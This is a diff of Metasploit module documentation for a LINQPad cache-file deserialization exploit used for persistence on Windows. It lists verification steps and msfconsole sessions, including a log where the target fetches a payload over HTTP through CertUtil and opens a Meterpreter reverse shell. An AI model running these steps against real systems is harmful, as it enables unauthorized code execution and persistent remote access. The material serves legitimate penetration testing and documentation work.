|
1 | 1 | ## Vulnerable Application |
2 | 2 |
|
3 | | -LINQPad is a scratchpad for .NET programming. Versions prior to 5.52.01 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/LINQPad5.aspx). |
| 3 | +LINQPad is a scratchpad for .NET programming. |
| 4 | +Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. |
| 5 | +Application can be downloaded from [here](https://www.linqpad.net/). |
| 6 | + |
4 | 7 |
|
5 | 8 | ## Verification Steps |
6 | 9 |
|
7 | 10 | 1. Install the application |
8 | 11 | 2. Start msfconsole |
9 | | -3. Get Meterpreter/cmd shell |
10 | | -4. Run: `use windows/local/linqpad_deserialization_persistence` |
| 12 | +3. Get session |
| 13 | +4. Run: `use windows/local/linqpad_deserialization` |
11 | 14 | 5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters |
12 | 15 | 6. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup` |
13 | 16 | 7. Run exploit |
14 | 17 |
|
15 | 18 | ## Options |
16 | 19 |
|
17 | | -### cleanup |
18 | | - |
19 | | -Enable cleanup of malicious file. The module will replace cache filewith malicious content. If `cleanup` is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad. |
20 | 20 |
|
21 | 21 | ### cache\_path |
22 | 22 |
|
23 | | -The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. |
24 | | - |
25 | | -### linqpad\_path |
| 23 | +The parameter sets path for folder, where vulnerable cache file is present. |
| 24 | +This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. |
26 | 25 |
|
27 | | -Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit. |
28 | 26 |
|
29 | 27 | ## Scenarios |
30 | 28 |
|
31 | 29 | ``` |
32 | 30 | msf > use exploit/multi/handler |
33 | | -msf exploit(multi/handler) > set LHOST 192.168.95.128 |
34 | | -msf exploit(multi/handler) > set LPORT 4242 |
| 31 | +msf exploit(multi/handler) > set LHOST 192.168.3.7 |
| 32 | +msf exploit(multi/handler) > set LPORT 4545 |
35 | 33 | msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp |
36 | | -msf exploit(multi/handler) > run |
37 | | -[*] Started reverse TCP handler on 192.168.95.128:4242 |
38 | | -[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100 |
39 | | -
|
40 | | -meterpreter > background |
41 | | -[*] Backgrounding session 1... |
42 | | -msf exploit(multi/handler) > use windows/local/linqpad_deserialization_persistence |
43 | | -msf exploit(windows/local/linqpad_deserialization_persistence) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe |
44 | | -msf exploit(windows/local/linqpad_deserialization_persistence) > set payload windows/exec/cmd |
45 | | -msf exploit(windows/local/linqpad_deserialization_persistence) > set cache_path C:/Users/ms/AppData/Local/LINQPad |
46 | | -msf exploit(windows/local/linqpad_deserialization_persistence) > set CMD calc.exe |
47 | | -msf exploit(windows/local/linqpad_deserialization_persistence) > set session 1 |
48 | | -msf exploit(windows/local/linqpad_deserialization_persistence) > exploit |
49 | 34 | [*] Exploit completed, but no session was created. |
| 35 | +msf exploit(windows/persistence/linqpad_deserialization_persistence) > |
| 36 | +[*] Fetch handler listening on 192.168.3.7:8080 |
| 37 | +[*] HTTP server started |
| 38 | +[*] Adding resource /LCG8z8xZZXJnz_uKNIZRPw |
| 39 | +[*] Started reverse TCP handler on 192.168.3.7:4545 |
| 40 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 41 | +[+] The target appears to be vulnerable. LINPad and vulnerable cache file present, target possibly exploitable |
| 42 | +[*] Create deserialization payload |
| 43 | +[*] Saving the original content |
| 44 | +[*] Saved at: /home/ms/.msf4/loot/20251027153340_default_10.5.132.148_CUsersmsfuser_949460.txt |
| 45 | +[*] Overwriting file |
| 46 | +[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_1909_BE09_20251027.3341/WIN10_1909_BE09_20251027.3341.rc |
| 47 | +[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw |
| 48 | +[*] Sending payload to 10.5.132.148 (Microsoft-CryptoAPI/10.0) |
| 49 | +[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw |
| 50 | +[*] Sending payload to 10.5.132.148 (CertUtil URL Agent) |
| 51 | +[*] Sending stage (203846 bytes) to 10.5.132.148 |
| 52 | +[*] Meterpreter session 2 opened (192.168.3.7:4545 -> 10.5.132.148:50045) at 2025-10-27 15:33:53 +0100 |
50 | 53 | ``` |
51 | | - |
52 | | -Previous example will run `calc.exe` when LINQPad will start. |
53 | | - |
0 commit comments